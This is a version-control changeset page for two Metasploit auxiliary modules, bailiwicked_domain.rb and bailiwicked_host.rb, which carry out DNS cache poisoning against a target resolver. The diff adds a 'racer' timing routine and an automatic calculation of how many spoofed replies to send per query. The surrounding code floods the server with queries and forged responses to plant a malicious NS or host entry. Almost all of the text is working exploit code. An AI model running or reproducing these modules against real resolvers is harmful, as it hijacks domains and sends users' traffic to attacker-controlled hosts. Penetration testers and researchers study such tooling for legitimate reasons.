Changeset 5597
- Timestamp:
- 07/25/08 17:01:12 (1 month ago)
- Files:
Legend:
- Unmodified
- Added
- Removed
- Modified
- Copied
- Moved
framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
r5593 r5597 47 47 OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']), 48 48 OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]), 49 OptAddress.new('RECONS', [true, ' Nameserver used for reconnaissance', '208.67.222.222']),50 OptInt.new('XIDS', [true, ' Number of XIDs to try for each query', 10]),51 OptInt.new('TTL', [true, 'T TL for the malicious NS entry', 31337]),49 OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), 50 OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), 51 OptInt.new('TTL', [true, 'The TTL for the malicious NS entry', 31337]), 52 52 ], self.class) 53 53 … … 55 55 56 56 def auxiliary_commands 57 return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } 57 return { 58 "check" => "Determine if the specified DNS server (RHOST) is vulnerable", 59 "racer" => "Determine the size of the window for the target server" 60 } 58 61 end 59 62 63 def cmd_racer(*args) 64 targ = args[0] || rhost() 65 dom = args[1] || "example.com" 66 67 if(not (targ and targ.length > 0)) 68 print_status("usage: racer [dns-server] [domain]") 69 return 70 end 71 72 calculate_race(targ, dom) 73 end 74 60 75 def cmd_check(*args) 61 76 targ = args[0] || rhost() … … 129 144 newttl = datastore['TTL'].to_i 130 145 xidbase = rand(20001) + 20000 131 146 numxids = xids 132 147 address = Rex::Text.rand_text(4).unpack("C4").join(".") 133 148 … … 233 248 return 234 249 end 235 250 251 if(xids == 0) 252 print_status("Calculating the number of spoofed replies to send per query...") 253 qcnt = calculate_race(target, domain, 100) 254 numxids = ((qcnt * 1.5) / barbs.length).to_i 255 if(numxids == 0) 256 print_status("The server did not reply, giving up.") 257 srv_sock.close 258 disconnect_ip 259 return 260 end 261 print_status("Sending #{numxids} spoofed replies for each query") 262 end 263 236 264 # Flood the target with queries and spoofed responses, one will eventually hit 237 265 queries = 0 … … 273 301 req.aa = 1 274 302 275 xidbase.upto(xidbase+ xids-1) do |id|303 xidbase.upto(xidbase+numxids-1) do |id| 276 304 req.id = id 277 305 barbs.each do |barb| … … 295 323 if queries % 1000 == 0 296 324 print_status("Sent #{queries} queries and #{responses} spoofed responses...") 325 if(xids == 0) 326 print_status("Recalculating the number of spoofed replies to send per query...") 327 qcnt = calculate_race(target, domain, 25) 328 numxids = ((qcnt * 1.5) / barbs.length).to_i 329 if(numxids == 0) 330 print_status("The server has stopped replying, giving up.") 331 srv_sock.close 332 disconnect_ip 333 return 334 end 335 print_status("Now sending #{numxids} spoofed replies for each query") 336 end 297 337 end 298 338 … … 329 369 end 330 370 371 # 372 # Send a recursive query to the target server, then flood 373 # the server with non-recursive queries for the same entry. 374 # Calculate how many non-recursive queries we receive back 375 # until the real server responds. This should give us a 376 # ballpark figure for ns->ns latency. We can repeat this 377 # a few times to account for each nameserver the cache server 378 # may query for the target domain. 379 # 380 def calculate_race(server, domain, num=50) 381 382 q_beg_t = nil 383 q_end_t = nil 384 cnt = 0 385 386 times = [] 387 388 hostname = Rex::Text.rand_text_alphanumeric(16) + domain 389 390 sock = Rex::Socket.create_udp( 391 'PeerHost' => server, 392 'PeerPort' => 53 393 ) 394 395 396 req = Resolv::DNS::Message.new 397 req.add_question(hostname, Resolv::DNS::Resource::IN::A) 398 req.rd = 1 399 req.id = 1 400 401 Thread.critical = true 402 q_beg_t = Time.now.to_f 403 sock.put(req.encode) 404 req.rd = 0 405 406 while(times.length < num) 407 res, addr = sock.recvfrom(65535, 0.01) 408 409 if res and res.length > 0 410 res = Resolv::DNS::Message.decode(res) 411 412 if(res.id == 1) 413 times << [Time.now.to_f - q_beg_t, cnt] 414 cnt = 0 415 416 hostname = Rex::Text.rand_text_alphanumeric(16) + domain 417 418 Thread.critical = false 419 420 sock.close 421 sock = Rex::Socket.create_udp( 422 'PeerHost' => server, 423 'PeerPort' => 53 424 ) 425 426 Thread.critical = true 427 428 q_beg_t = Time.now.to_f 429 req = Resolv::DNS::Message.new 430 req.add_question(hostname, Resolv::DNS::Resource::IN::A) 431 req.rd = 1 432 req.id = 1 433 434 sock.put(req.encode) 435 req.rd = 0 436 end 437 438 cnt += 1 439 end 440 441 req.id += 1 442 443 sock.put(req.encode) 444 end 445 446 Thread.critical = false 447 448 min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0 449 max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0 450 sum = 0 451 times.each{|i| sum += i[0]} 452 avg_time = ( (sum / times.length) * 100).to_i / 100.0 453 454 min_count = times.map{|i| i[1]}.min 455 max_count = times.map{|i| i[1]}.max 456 sum = 0 457 times.each{|i| sum += i[1]} 458 avg_count = sum / times.length 459 460 sock.close 461 462 print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}") 463 464 465 # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times) 466 avg_count 467 end 468 331 469 end 332 470 end framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_host.rb
r5593 r5597 40 40 OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), 41 41 OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), 42 OptAddress.new('RECONS', [true, ' Nameserver used for reconnaissance', '208.67.222.222']),43 OptInt.new('XIDS', [true, ' Number of XIDs to try for each query', 10]),44 OptInt.new('TTL', [true, 'T TL for the malicious host entry', 31337]),42 OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), 43 OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), 44 OptInt.new('TTL', [true, 'The TTL for the malicious host entry', 31337]), 45 45 ], self.class) 46 46 … … 48 48 49 49 def auxiliary_commands 50 return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } 50 return { 51 "check" => "Determine if the specified DNS server (RHOST) is vulnerable", 52 "racer" => "Determine the size of the window for the target server" 53 } 54 end 55 56 def cmd_racer(*args) 57 targ = args[0] || rhost() 58 dom = args[1] || "example.com" 59 60 if(not (targ and targ.length > 0)) 61 print_status("usage: racer [dns-server] [domain]") 62 return 63 end 64 65 calculate_race(targ, dom) 51 66 end 52 67 … … 122 137 newttl = datastore['TTL'].to_i 123 138 xidbase = rand(20001) + 20000 139 numxids = xids 124 140 125 141 domain = hostname.sub(/\w+\x2e/,"") … … 224 240 end 225 241 242 243 if(xids == 0) 244 print_status("Calculating the number of spoofed replies to send per query...") 245 qcnt = calculate_race(target, domain, 100) 246 numxids = ((qcnt * 1.5) / barbs.length).to_i 247 if(numxids == 0) 248 print_status("The server did not reply, giving up.") 249 srv_sock.close 250 disconnect_ip 251 return 252 end 253 print_status("Sending #{numxids} spoofed replies for each query") 254 end 255 226 256 # Flood the target with queries and spoofed responses, one will eventually hit 227 257 queries = 0 … … 263 293 req.ra = 1 264 294 265 xidbase.upto(xidbase+ xids-1) do |id|295 xidbase.upto(xidbase+numxids-1) do |id| 266 296 req.id = id 267 297 barbs.each do |barb| … … 285 315 if queries % 1000 == 0 286 316 print_status("Sent #{queries} queries and #{responses} spoofed responses...") 317 if(xids == 0) 318 print_status("Recalculating the number of spoofed replies to send per query...") 319 qcnt = calculate_race(target, domain, 25) 320 numxids = ((qcnt * 1.5) / barbs.length).to_i 321 if(numxids == 0) 322 print_status("The server has stopped replying, giving up.") 323 srv_sock.close 324 disconnect_ip 325 return 326 end 327 print_status("Now sending #{numxids} spoofed replies for each query") 328 end 287 329 end 288 330 … … 313 355 end 314 356 end 315 316 end 317 357 end 318 358 end 359 360 # 361 # Send a recursive query to the target server, then flood 362 # the server with non-recursive queries for the same entry. 363 # Calculate how many non-recursive queries we receive back 364 # until the real server responds. This should give us a 365 # ballpark figure for ns->ns latency. We can repeat this 366 # a few times to account for each nameserver the cache server 367 # may query for the target domain. 368 # 369 def calculate_race(server, domain, num=50) 370 371 q_beg_t = nil 372 q_end_t = nil 373 cnt = 0 374 375 times = [] 376 377 hostname = Rex::Text.rand_text_alphanumeric(16) + domain 378 379 sock = Rex::Socket.create_udp( 380 'PeerHost' => server, 381 'PeerPort' => 53 382 ) 383 384 385 req = Resolv::DNS::Message.new 386 req.add_question(hostname, Resolv::DNS::Resource::IN::A) 387 req.rd = 1 388 req.id = 1 389 390 Thread.critical = true 391 q_beg_t = Time.now.to_f 392 sock.put(req.encode) 393 req.rd = 0 394 395 while(times.length < num) 396 res, addr = sock.recvfrom(65535, 0.01) 397 398 if res and res.length > 0 399 res = Resolv::DNS::Message.decode(res) 400 401 if(res.id == 1) 402 times << [Time.now.to_f - q_beg_t, cnt] 403 cnt = 0 404 405 hostname = Rex::Text.rand_text_alphanumeric(16) + domain 406 407 Thread.critical = false 408 409 sock.close 410 sock = Rex::Socket.create_udp( 411 'PeerHost' => server, 412 'PeerPort' => 53 413 ) 414 415 Thread.critical = true 416 417 q_beg_t = Time.now.to_f 418 req = Resolv::DNS::Message.new 419 req.add_question(hostname, Resolv::DNS::Resource::IN::A) 420 req.rd = 1 421 req.id = 1 422 423 sock.put(req.encode) 424 req.rd = 0 425 end 426 427 cnt += 1 428 end 429 430 req.id += 1 431 432 sock.put(req.encode) 433 end 434 435 Thread.critical = false 436 437 min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0 438 max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0 439 sum = 0 440 times.each{|i| sum += i[0]} 441 avg_time = ( (sum / times.length) * 100).to_i / 100.0 442 443 min_count = times.map{|i| i[1]}.min 444 max_count = times.map{|i| i[1]}.max 445 sum = 0 446 times.each{|i| sum += i[1]} 447 avg_count = sum / times.length 448 449 sock.close 450 451 print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}") 452 453 454 # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times) 455 avg_count 456 end 319 457 320 458 end
